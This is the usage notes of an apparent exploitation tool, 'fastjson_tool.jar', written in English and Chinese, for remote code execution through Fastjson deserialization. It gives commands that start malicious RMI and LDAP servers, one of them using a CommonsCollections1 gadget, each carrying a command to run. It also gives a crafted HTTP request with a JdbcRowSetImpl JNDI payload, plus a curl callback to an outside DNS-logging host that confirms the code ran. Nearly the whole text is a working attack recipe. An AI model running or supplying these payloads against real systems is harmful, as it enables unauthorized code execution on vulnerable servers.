if command need base64 encode, command should startwith bash=/powershell=/python=/perl=
example:  bash=curl dnslog.wyzxxz.cn

1. RMI (need tomcat8)
java -cp fastjson_tool.jar EvilRMIServer 1099 8888 "curl dnslog.wyzxxz.cn"


2. RMI/LDAP + HTTP
java -cp fastjson_tool.jar HRMIServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"
/
java -cp fastjson_tool.jar HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"


3. LDAP2
java -cp fastjson_tool.jar fastjson.LDAPRefServer2 80 CommonsCollections1 "curl dnslog.wyzxxz.cn"

file   （BASE64编码后的反序列内容文件）


rmi:
1. 启动RMI服务，后面写要执行的语句(有依赖，tomcat8稳定复现)
java -cp fastjson_tool.jar fastjson.EvilRMIServer 1099 8888 "curl dnslog.wyzxxz.cn"

2. 发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) 

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

3. 查看日志是否curl成功
